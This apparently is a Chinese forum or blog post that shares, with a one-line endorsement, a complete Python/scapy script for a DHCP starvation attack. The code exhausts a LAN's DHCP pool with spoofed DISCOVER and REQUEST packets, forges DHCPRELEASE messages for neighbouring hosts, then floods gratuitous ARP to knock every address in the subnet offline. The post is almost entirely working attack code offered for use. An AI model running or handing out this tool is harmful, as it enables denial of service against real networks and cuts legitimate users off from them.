最近在backtrack下看到一款dhcp地址池耗尽攻击的工具,用python的scapy模块写的,经测试效果很好
#! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
DHCP exhaustion attack plus.
Usage:
pig.py [-d -h] <interface>
"""
from scapy.all import *
import string,binascii,signal,sys,threading,socket,struct,getopt
conf.checkIPaddr = False
interface = "lo"
verbose = False
Debug=False
def checkArgs():
global Field,Value
try:
opts, args = getopt.getopt(sys.argv[1:], "hd")
except getopt.GetoptError, err:
# print help information and exit:
print str(err) # will print something like "option -a not recognized"
usage()
sys.exit(2)
for o,a in opts:
if o in ("-d,--debug"):
global verbose
verbose = True
elif o in ("-h", "--help"):
usage()
sys.exit()
else:
assert False, "unhandled option"
if len(args)==1:
global interface
interface=args[0]
else:
usage()
sys.exit(2)
def signal_handler(signal, frame):
print 'Exit'
t1.kill_received = True
t2.kill_received = True
sys.exit(0)
######################################
# Necessary Network functions not included in scapy
#
def randomMAC():
mac = [ 0x00, 0x0c, 0x29,
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff) ]
return ':'.join(map(lambda x: "%02x" % x, mac))
def toNum(ip):
"convert decimal dotted quad string to long integer"
return struct.unpack('L',socket.inet_aton(ip))[0]
def get_ip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
def get_if_net(iff):
for net, msk, gw, iface, addr in read_routes():
if (iff == iface and net != 0L):
return ltoa(net)
warning("No net address found for iface %s\n" % iff);
def get_if_ip(iff):
for net, msk, gw, iface, addr in read_routes():
if (iff == iface and net != 0L):
return addr
warning("No net address found for iface %s\n" % iff);
def calcCIDR(mask):
mask = mask.split('.')
bits = []
for c in mask:
bits.append(bin(int(c)))
bits = ''.join(bits)
cidr = 0
for c in bits:
if c == '1': cidr += 1
return str(cidr)
def unpackMAC(binmac):
mac=binascii.hexlify(binmac)[0:12]
blocks = [mac[x:x+2] for x in xrange(0, len(mac), 2)]
return ':'.join(blocks)
##########################################################
#
# ARP and create map of LAN neighbors
#
def neighbors():
global dhcpsip,subnet,nodes
nodes={}
m=randomMAC()
net=dhcpsip+"/"+calcCIDR(subnet)
ans,unans = srp(Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net,psrc=dhcpsip), timeout=8,
filter="arp and arp[7] = 2")
for request,reply in ans:
nodes[reply.hwsrc]=reply.psrc
print "%15s - %s " % (reply.psrc, reply.hwsrc)
#
# send release for our neighbors
#
def release():
global dhcpsmac,dhcpsip,nodes
print "*** Sending DHCPRELEASE for neighbors "
myxid=random.randint(1, 900000000)
#
#iterate over all ndoes and release their IP from DHCP server
for cmac,cip in nodes.iteritems():
dhcp_release = Ether(src=cmac,dst=dhcpsmac)/IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid,)/DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"])
sendp(dhcp_release,verbose=0,iface=interface)
print "Releasing %s - %s"%(cmac,cip)
if verbose: print "%r"%dhcp_release
#
#now knock everyone offline
#
def garp():
global dhcpsip,subnet
pool=Net(dhcpsip+"/"+calcCIDR(subnet))
for ip in pool:
m=randomMAC()
arpp = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m,psrc=ip,hwdst="00:00:00:00:00:00",pdst=ip)
sendp(arpp,verbose=0,iface=interface)
print "Knocking %s offline, goodbye"%ip
if verbose: print "%r"%arpp
#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
def __init__ (self):
threading.Thread.__init__(self)
self.kill_received = False
def run(self):
global timer,dhcpdos
while not self.kill_received and not dhcpdos:
m=randomMAC()
myxid=random.randint(1, 900000000)
hostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
dhcp_discover = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid)/DHCP(options=[("message-type","discover"),("hostname",hostname),"end"])
print "\n\n\nSending DHCPDISCOVER on " + interface
sendp(dhcp_discover,verbose=0,iface=interface)
time.sleep(timer)
#
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
def __init__ (self):
threading.Thread.__init__(self)
self.filter = "icmp or (udp and src port 67 and dst port 68)"
self.kill_received = False
self.dhcpcount=0
def run(self):
global dhcpdos
while not self.kill_received and not dhcpdos:
sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout=3,iface=interface)
print "timeout waiting on dhcp packet count %d"%self.dhcpcount
self.dhcpcount+=1
if self.dhcpcount==5: dhcpdos=True
def detect_dhcp(self,pkt):
global dhcpsmac,dhcpsip,subnet
if DHCP in pkt:
if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
self.dhcpcount=0
dhcpsip = pkt[IP].src
dhcpsmac = pkt[Ether].src
for opt in pkt[DHCP].options:
if opt[0] == 'subnet_mask':
subnet=opt[1]
break
myip=pkt[BOOTP].yiaddr
sip=pkt[BOOTP].siaddr
localxid=pkt[BOOTP].xid
localm=unpackMAC(pkt[BOOTP].chaddr)
myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
print("DHCPOFFER handing out IP: "+myip)
if verbose: print("DHCPOFFER detected from " + pkt[Ether].src,sip + " on " + interface + ", handing out IP: "+myip)
dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"])
sendp(dhcp_req,verbose=0,iface=interface)
print "sent DHCP Request for "+myip
elif ICMP in pkt:
if pkt[ICMP].type==8:
myip=pkt[IP].dst
mydst=pkt[IP].src
print "ICMP request from " + mydst + " for " + myip + " on " + interface
icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912"
if verbose: print "%r"%icmp_req
#sendp(icmp_req,verbose=0,iface=interface)
#print "ICMP response from "+myip+" to "+mydst
#
#
# MAIN()
#
def main(args):
checkArgs()
signal.signal(signal.SIGINT, signal_handler)
global t1,t2,t3,dhcpdos,dhcpsip,dhcpmac,subnet,nodes,timer
dhcpsip=None
dhcpsmac=None
subnet=None
nodes={}
dhcpdos=False
timer=1
t1=sniff_dhcp()
t1.start()
t2=send_dhcp()
t2.start()
while dhcpsip==None:
time.sleep(1)
print "waiting for first DHCP Server response on " + interface
neighbors()
release()
while not dhcpdos:
time.sleep(5)
print "waiting for DOS"
print "DHCP Exhausted, knock all remaining hosts offline"
time.sleep(10)
garp()
print "All done"
def usage():
print __doc__
if __name__ == '__main__':
sys.exit(not main(sys.argv))